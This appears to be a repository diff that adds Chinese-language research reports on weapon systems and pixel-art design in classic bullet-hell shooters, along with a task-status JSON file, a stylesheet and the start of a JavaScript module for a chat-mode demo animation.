- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101
- **Shmups Wiki 主站**https://shmups.wiki
- **Video Game Boss Design For Shmups**GameDeveloper血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups
- **The Anatomy of a Shmup**GameDeveloper爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup
- **Bullet Pattern DesignSHMUP WORKSHOP 03YouTube**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo
### 5.4 像素艺术风格指南(教程/博客)
- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design
- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**玩家射击类型Vulcan/Laser/Homing、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2
- **Pixel Art Tutorial - Understanding Explosions**Penusbmicitch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions
- **The 12 animation principles adapted for pixel art**sprite-ai.art低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles
- **Aseprite / Piskel 爆炸教程**YouTube 检索词Aseprite pixel art explosion tutorial
- Piskel免费在线像素编辑器https://www.piskelapp.com
### 5.5 建议搜索关键词(继续深挖用)
`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解`
---
## 6. 给本项目落地落实的美术规范建议(可直接执行)
1. **画布与倍率**:逻辑分辨率 **480×270推荐或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列Boss 64×64
2. **色板分工(建议)**
- 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调;
- 敌方子弹:红/粉/紫系8 色 Danmakufu 色板起步)+ 白/亮描边;
- 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白);
- 道具:金/橙(得分)、红(火力 P、蓝速度 S、银灰Bomb——注意与敌弹色彩错开
- 爆炸:白→橙红黄→灰;
- 预警:蓄力时变亮/变红,激光先亮细线。
3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。
4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。
5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。
6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite付费推荐或 Piskel免费
---
## 7. 信息来源与可信度说明
- **基于实测/原文提取的内容**可信度高可自行核验SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。
- **基于第三方社区/百科归纳**Touhou Wiki 判定点机制Hitbox 条目、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上"15 个美丽弹幕"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。
- **标注为"既有认知+"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。
- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。

View File

@ -0,0 +1,295 @@
# 经典弹幕射击游戏STG武器系统调研报告
> 调研主题经典弹幕射击游戏STG / Bullet Hell的武器系统设计与像素风格表现
> 调研日期2026-08-23
> 信息来源网络公开资料维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」
---
## 目录
1. [概述](#1-概述)
2. [玩家武器类型分类](#2-玩家武器类型分类)
3. [武器升级系统](#3-武器升级系统)
4. [像素风格表现](#4-像素风格表现)
5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)
6. [参考资料](#6-参考资料)
---
## 1. 概述
弹幕射击游戏Shoot 'em up / STG日式弹幕习惯称「弹幕射击」或 Bullet Hell的核心设计循环是**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:
1. **输出手段**决定清杂popcorn与打 BOSS 的效率;
2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;
3. **视觉语言**:武器是玩家在屏幕上"属于自己"的元素,必须与敌弹、背景清晰区分。
本报告以三条经典主线为调研对象:
- **东方Project**ZUN / 上海爱丽丝幻乐团PC 弹幕标杆,自机武器+符卡 BOMB 体系)
- **怒首领蜂系列**CAVE街机弹幕始祖Shot/Laser 双模式 + Hyper 系统)
- **雷电系列**Seibu Kaihatsu经典街机纵版多武器切换 + 8 级火力)
- 辅以 **R-Type蓄力/力球)**、**Gradius升级条/子机)** 等横版经典作补充
> 说明调研发现任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS西行寺幽幽子。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于"散布型弹幕"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 CYoukai Buster、魔理沙 ASpread Star、东风谷早苗等本报告两部分都会覆盖。
---
## 2. 玩家武器类型分类
### 2.1 散弹Spread Shot
**定义**:向前方扇形/多方向发射大量小弹丸覆盖范围宽、清杂效率高但单发伤害分散对单体BOSS总伤害通常低于集中火力。
| 游戏 | 例子 | 机制与视觉 |
|---|---|---|
| 雷电系列 | **Vulcan红色道具** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |
| 怒首领蜂 | **Shot点按 A 键)** | 标准"spread"散弹覆盖面比激光宽Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |
| 东方 Project | **灵梦 CYoukai Buster/妖怪破坏者)**、**魔理沙 ASpread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机Option向两侧展开 |
| 东方BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是"散布型弹幕"最经典的视觉形态之一 |
**设计要点**:散弹的关键是"扇面角度 + 弹丸数量 + 弹丸间距"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到"火力变强了"。
---
### 2.2 集中射击Focus Shot
**定义**把所有火力集中在自机正前方一小条区域单发伤害高DPS 高适合贴脸pointblanking/Shotgunning打 BOSS但因覆盖窄需要瞄准走位。
| 游戏 | 例子 | 机制与视觉 |
|---|---|---|
| 东方 Project | **低速模式(按住 Shift时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从"散开"变为"一束" |
| 怒首领蜂 | **Laser 模式**(见 2.3 | 东方把"集中"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |
| 风神录 灵梦 B | **Forward Focus TypeSealing Needle/封印针)** | 正前方集中射击型BOSS 战伤害高、道中需要编排走位 |
**设计要点**:集中射击通常与"低速/精确操控"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示"伤害集中"。
---
### 2.3 激光 / 光束武器Laser
**定义**持续输出的光束型武器。特点判定穿透可打穿一排敌人、伤害集中、通常伴随机体减速或能量光环Aura
| 游戏 | 例子 | 机制与视觉 |
|---|---|---|
| 怒首领蜂 | **Laser按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura灵气光环**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |
| 雷电系列 | **Laser蓝色道具/ Plasma Laser紫色道具** | 直线激光升级增加光束数量与威力Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |
| 东方 Project | **魔理沙Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有"非指向性激光"(按住时发射贯穿激光) |
**设计要点**
- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;
- 激光与"机体周围光环"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示("你现在是激光模式"
- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。
---
### 2.4 追踪弹 / 制导武器Homing
**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。
| 游戏 | 例子 | 机制与视觉 |
|---|---|---|
| 东方 Project | **灵梦 AHoming Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |
| 雷电系列 | **Homing MissileH 道具)** | 子武器系统,追踪导弹自动飞向敌人 |
| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |
**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的"转弯/锁定"行为**一开始直线、接近目标时转向并常伴随尾迹trail以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的"引导火"。
---
### 2.5 近战 / 环绕武器Orbit / Force / Option
**定义**:不(仅)发射弹丸,而是以"挂在自机上的物体"进行接触伤害、挡子弹,或跟随自机复制射击。
| 游戏 | 例子 | 机制与视觉 |
|---|---|---|
| R-Type | **Force Pod力量球** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |
| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |
| Gradius | **Option子机** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |
| 东方 Project | **子机Option**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |
**设计要点**:环绕武器是最能体现"火力等级"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。
---
### 2.6 蓄力射击Charge Shot
**定义**:按住射击键充能,松开时释放一发大威力"蓄力弹"。蓄力时间越长威力越大,通常带穿透/范围效果。
| 游戏 | 例子 | 机制与视觉 |
|---|---|---|
| R-Type | **Wave Cannon波动炮** | 按住 A 蓄力蓄力等级charge gauge越高波动炮越大越强可穿透弱敌R-Type Final 3 有最多 2 段蓄力的强化波动炮 |
| 怒首领蜂(近似) | **Hyper** | 蓄能量槽Hyper Gauge满后释放一次爆发性强化更接近"强化爆气"而非单体蓄力弹,见 3.5 |
**设计要点**
- 蓄力需要**清晰的充能指示**R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;
- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化"这一发很重"的感觉。
---
### 2.7 炸弹 / 清屏技能Bomb / Spell Card / 灵击)
**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家"资源管理"的核心。
| 游戏 | 例子 | 机制与视觉 |
|---|---|---|
| 东方 Project | **符卡 BOMB自机符卡** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |
| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power见 3.4风神录灵击为向前推出大型圆环BOSS战额外全屏判定 |
| 怒首领蜂 | **Spread Bomb散弹炸弹/ Laser Bomb激光炸弹** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |
| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害按炸弹键到爆炸有短暂延迟 |
**设计要点**
- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让"屏幕瞬间被清理"的结果可视化;
- 东方把炸弹做成"符卡"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);
- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。
---
## 3. 武器升级系统
### 3.1 道具拾取升级P 道具 / Power-Up
几乎所有经典 STG 都用"拾取掉落道具→火力升级"的模式,区别在道具形态与上限设计:
| 游戏 | 道具 | 升级机制 |
|---|---|---|
| 东方 Project | **红色 P 道具** | 小 P +1红妖永、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 PowerFull Power Mode后 P 道具自动转为其他道具(分数/信仰等) |
| 怒首领蜂 | **PPower Up** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |
| 雷电系列 | **红Vulcan/蓝Laser/紫Plasma/H/M导弹** | 同类道具拾取才升级;主武器 8 级满Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |
**设计要点**
- **同类拾取才升级**(雷电)制造"专注一系武器"的策略取舍;
- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以"捡回"部分火力,是容错设计;
- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。
### 3.2 多级别火力变化
- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大Laser 从单束→多束、光束加粗;是"逐级可读"的经典范例。
- **怒首领蜂****4 级Level 04**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames火力升级数值化。
- **东方**Power 分级(红妖永 0128风神录 05.00;星莲船后 1.004.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。
**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。
### 3.3 武器切换机制
| 游戏 | 切换方式 | 说明 |
|---|---|---|
| 东方 Project | **高速/低速Shift** | 同一武器在两种移动速度下显示"散弹/集中"两种形态,一按即切换 |
| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type散弹强化或 Laser Type激光强化是"模式选择"的鼻祖 |
| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |
| Gradius | **Power Meter升级条** | 吃一个道具点亮升级条下一格按确定键购买Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——"选择顺序"本身就是策略 |
| 怒首领蜂大往生DOJ | **Element Dolls元素人偶**Shotia强化散弹/Leinyan强化激光/EXY双强化 | 人偶决定强化方向+炸弹容量上限3-6 / 2-4 / 1-2强化与资源形成权衡 |
**设计要点**
- 武器切换要么做成"一键瞬切"(东方 Shift、怒首领蜂按住要么做成"有成本的选择"雷电道具、Gradius 升级条);
- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。
### 3.4 东方 Project 的 Power 系统
- P 道具是唯一火力来源:早期(红/妖/永)为 **0128** 区间,小 P +1 / 大 P +8风神录改为 **0.005.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.004.00** 下限。
- 表现载体变化:永夜抄以前"本体射出的子弹变多";风神录以后改为"增加射出的子机Option"——**火力可视化**。
- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成"用资源换保命"的抉择。
- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。
### 3.5 怒首领蜂的强化系统
1. **双模式Shot/Laser Type**:初代 DDP 引入。Shot Type 强化散弹更密、更宽、双倍火力、激光则细且不可穿透Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。
2. **Element DollsDOJ**:见 3.3,强化方向与炸弹容量权衡。
3. **Hyper 系统DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:
- 全场敌弹消除 + 短暂无敌80/120 帧);
- 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);
- 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**
- 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。
- 这是"用强化换难度"的经典设计——高回报高风险。
**设计要点**:怒首领蜂证明"武器强化"可以和"游戏难度自适应Rank"挂钩,让强力火力本身成为平衡杠杆。
---
## 4. 像素风格表现
### 4.1 子弹的像素美术设计(大小、形状、颜色)
综合 slynyrdRaymond Schlitter的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性readability第一**
- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。
- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。
- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。
- **轮廓线Outline**几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。
- **闪烁**:两帧交替(闪白/闪亮)提升存在感与"危险感";但对比过强会让高速移动的子弹难追踪——需要在"醒目"与"可追踪"之间平衡。
- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹"活着"。
### 4.2 射击特效muzzle flash、尾迹
- **枪口闪光Muzzle Flash**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。
- **尾迹Trail**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现"制导"性质;激光可加**束起点光晕**与**目标命中火花**。
- **爆炸Explosion**slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气"快速膨胀、渐凉减速"的物理节奏是让爆炸可信的关键。
- **弹道/拖影**高速敌弹可加残影ghosting但残影不能遮挡弹间缝隙。
### 4.3 不同武器类型的视觉区分度
| 武器 | 视觉语言 | 举例 |
|---|---|---|
| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |
| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |
| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |
| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |
| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |
| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option东方子机 |
### 4.4 屏幕内大量子弹的辨识度设计
- **敌弹颜色编码**:用颜色区分"快弹/慢弹/装饰弹"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。
- **判定点Hitbox分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox通常小于视觉大小——"视觉大、判定小"是弹幕公平性的核心。
- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia紫红= 敌弹、yellow= 自机弹**,极端对立让双方一眼可分。
- **弹幕"缝隙设计"gap design**:弹幕不只是子弹设计,更是**缝隙设计**——"玩家能看见可通行路径即为公平",装饰性子弹可以用低饱和/半透明表示"无威胁"。
- **擦弹Graze反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家"读"弹幕密度。
- **性能与同屏量**:像素 STG 在低分辨率(如 480×270下单帧同屏敌弹可达数百需要单帧 sprite 体量小8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。
---
## 5. 像素 STG 武器视觉设计建议(落地清单)
面向自研像素弹幕 STG综合以上调研给出可直接落地的建议
### A. 武器体系骨架
1. **每种武器 = 一种"火力形态"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。
2. **火力等级可视化**:每级变化做成"子机数量 / 弹丸数 / 散布角 / 光束宽度"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。
3. **掉落同系升级(或 P 通用)**:可选雷电"同色道具才升级"(策略取舍)或东方"P 通用道具"(上手简单),建议新手向用后者。
4. **炸弹做成"有名有相"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上"一键清屏"结果必须一帧可见。
5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造"成长风险"。
### B. 子弹与特效像素规范
6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。
7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。
8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。
9. **判定点独立显示**低速focus模式显示红色圆点判定敌弹统一"视觉 > 判定"原则。
10. **特效规格化**muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。
11. **尾迹只给"需要读懂速度/轨迹"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。
### C. 屏幕可读性指标
12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。
13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。
14. 低分辨率320×180 ~ 640×360下优先保证敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。
---
## 6. 参考资料
以下为本报告主要信息来源(按主题归类):
1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统、怒首领蜂Shot/Laser 强化)
2. Shmups Wikishmups.wiki»DoDonPachi«Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力、»DoDonPachi DaiOuJou«Element Dolls、Hyper 系统、Rank、»Mountain of Faith«风神录自机 6 种 shot type、Power/灵击、P 道具数值、»Raiden II / Raiden DX«Vulcan/Laser/Plasma、8 级火力、H/M 导弹)
3. THBWiki / 东方维基thwiki.cc、zh.touhouwiki.netSTG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页
4. Touhou Community Jargonmaribelhearn.com东方子弹类型命名列表玉弹/针弹/蝶弹/米弹/札弹/苦无等)
5. slynyrd Pixelblog #31 Shmup Design Part 1slynyrd.com像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式
6. BULLET HELL SHMUP DESIGN 101Reddit r/shmupdev弹幕颜色选择红粉紫系、弹幕设计原则
7. 弹幕美术赏析note.com「15 Beautiful Bullet Hell Patterns」弹幕=缝隙设计、颜色区分弹种/危险等级
8. R-TypeShmups Wiki / R-Type WikiWave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹
9. Gradius 系列Gaming History 101 / StrategyWikiPower Meter 升级条、Speed/Missile/Double/Laser/Option 体系
10. ClassicReload / GameFAQs Raiden II FAQ雷电武器道具红/蓝/紫、H/M、8 级火力、死亡掉落机制
---
*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*

View File

@ -0,0 +1 @@
{"success": true, "data": [{"task_id": "sub_1_1787459389_fd8265", "status": "completed", "summary": "调研经典弹幕射击游戏武器系统", "last_tool": "write_file", "conversation_id": "conv_20260823_122836_778", "created_at": 1787459389.187}, {"task_id": "sub_2_1787459391_a9b055", "status": "completed", "summary": "调研弹幕射击游戏敌方弹幕模式", "last_tool": "write_file", "conversation_id": "conv_20260823_122836_778", "created_at": 1787459391.087}, {"task_id": "sub_3_1787459393_3da5a5", "status": "completed", "summary": "调研像素风格弹幕游戏美术设计", "last_tool": "write_file", "conversation_id": "conv_20260823_122836_778", "created_at": 1787459393.087}]}

View File

@ -0,0 +1,36 @@
/* 运行模式动画 —— 无边框无底色,直接融在星空背景上 */
:root {
--bg-0: #0c1120;
--bg-1: #111830;
--text-1: #eef1f8;
--text-2: #a7b0c4;
--text-3: #6b7488;
--line: rgba(168, 180, 210, 0.14);
--accent: #a9c2f0;
--accent-strong: #c1d4f6;
--ok: #7ba889;
--font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC",
"Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif;
--font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace;
}
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: var(--font-sans);
background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 60%);
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
color: var(--text-1);
}
.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; }
.hint { font-size: 13px; color: var(--text-3); }
/* demo 页动画宿主尺寸 */
.anim-host { width: 460px; height: 388px; }

View File

@ -0,0 +1,321 @@
/* 运行模式动画 —— 可复用模块(主页 feature 行 / anim-demo 页共用
* AnimModes.init(container)在容器内建 DOM模式 tab + 消息区 + 输入栏 + 假鼠标
* 点击 tab 切换并从头播放再次点击重播
*/
window.AnimModes = (function () {
'use strict';
function init(container) {
container.innerHTML =
'<div class="anim-window" id="animWindow">' +
'<div class="anim-topbar">' +
'<button class="anim-mode-tab" data-mode="plan">计划</button>' +
'<button class="anim-mode-tab" data-mode="ask">询问</button>' +
'<button class="anim-mode-tab" data-mode="execute">执行</button>' +
'</div>' +
'<div class="anim-chat"></div>' +
'<div class="anim-composer"><span class="anim-composer-text"></span><span class="anim-composer-caret"></span></div>' +
'<div class="anim-cursor" aria-hidden="true">' +
'<svg viewBox="0 0 24 24" width="18" height="18"><path d="M5 3 L19 12 L12.5 12.8 L15.5 20 L13 21 L10 13.5 L5 17 Z" fill="#ffffff" stroke="#1a1f2e" stroke-width="1.4" stroke-linejoin="round"/></svg>' +
'</div>' +
'</div>';
var chat = container.querySelector('.anim-chat');
var composer = container.querySelector('.anim-composer');
var composerText = composer.querySelector('.anim-composer-text');
var cursor = container.querySelector('.anim-cursor');
var tabs = Array.prototype.slice.call(container.querySelectorAll('.anim-mode-tab'));
var animWindow = container.querySelector('.anim-window');
/* ── 代次令牌:切换模式时作废旧序列的所有后续步骤 ── */
var gen = 0;
/* rAF rAF
setTimeout 在后台只是降频不会停会攒动画导致恢复瞬间全部放完 */
function rafWait(ms) {
return new Promise(function (resolve) {
var acc = 0, last = performance.now();
function tick(now) {
acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */
last = now;
if (acc >= ms) { resolve(); return; }
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
/** 可中断 sleep醒来后发现已切换模式则抛错终止序列 */
async function step(ms, myGen) {
await rafWait(ms);
if (myGen !== gen) throw new Error('cancelled');
}
function el(tag, cls, text) {
var e = document.createElement(tag);
if (cls) e.className = cls;
if (text != null) e.textContent = text;
return e;
}
/* ── 基础构件 ── */
/** 入场元素统一入口:挂载并平滑滚到底部(旧内容自然顶出) */
function push(node) {
chat.appendChild(node);
requestAnimationFrame(function () {
chat.scrollTo({ top: chat.scrollHeight, behavior: 'smooth' });
});
return node;
}
function addUserMsg(text) {
return push(el('div', 'msg-user anim-item', text));
}
function addThinkRow() {
var row = el('div', 'think-row anim-item');
var dots = el('span', 'think-dots');
dots.appendChild(el('i'));
dots.appendChild(el('i'));
dots.appendChild(el('i'));
row.appendChild(dots);
return push(row);
}
function removeEl(e) {
if (e && e.parentNode) e.parentNode.removeChild(e);
}
/** 往目标元素里逐字打出(带光标),返回 Promise */
async function typeInto(span, text, myGen, cps) {
var caret = el('span', 'type-caret');
span.parentNode.insertBefore(caret, span.nextSibling);
for (var i = 0; i < text.length; i++) {
span.textContent += text[i];
chat.scrollTop = chat.scrollHeight; // 打字时保持底部可见
await step(cps || 34, myGen);
}
removeEl(caret);
}
/** AI 裸文字消息:逐字流式 */
async function typeAiMsg(text, myGen) {
var b = el('div', 'msg-ai anim-item');
var span = el('span');
b.appendChild(span);
push(b);
